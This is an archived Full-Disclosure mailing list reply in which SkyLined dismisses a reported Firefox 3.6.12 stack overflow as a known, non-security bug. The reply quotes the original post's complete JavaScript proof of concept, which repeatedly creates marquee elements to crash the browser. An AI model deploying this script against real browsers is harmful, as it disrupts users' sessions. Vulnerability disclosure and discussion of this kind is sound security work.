[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] FireFox 3.6.12 Stack Overflow Denial of Service

This is a known bug and not a security issue. I'm not sure why you're
posting to this list.
https://bugzilla.mozilla.org/buglist.cgi?quicksearch=marquee+stack+overflow

Cheers,
SkyLined

Berend-Jan Wever <berendjanwever@xxxxxxxxx>
Delft, The Netherlands
http://skypher.com/SkyLined



On Wed, Dec 8, 2010 at 09:28, sec yun <root@xxxxxxxxxx> wrote:

> <code>
> <html>
>
> <body></body>
>
> <script type="text/javascript">
>
> function xxoo(){
>
> var str="marquee";
>
> var cobj=document.createElement(str);
>
> cobj.id="bK";
>
> document.body.appendChild(cobj);
>
> var obj=document.getElementById("bK");
>
> var atts = new Array();
>
> for(p in obj){
>
>
>
> }
>
> document.body.removeChild(cobj);
>
> var html="<marquee>";
>
> document.write(html);
>
> }
>
> for (i = 0; i < 500; i++) {
>
> xxoo();
>
> }
>
> </script>
> </code>
>
>  http://www.wooyun.org/bugs/wooyun-2010-0903
>
> WooYun is a connection platform for vendors and security researchers
>  From 0x250@wooyun :)
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/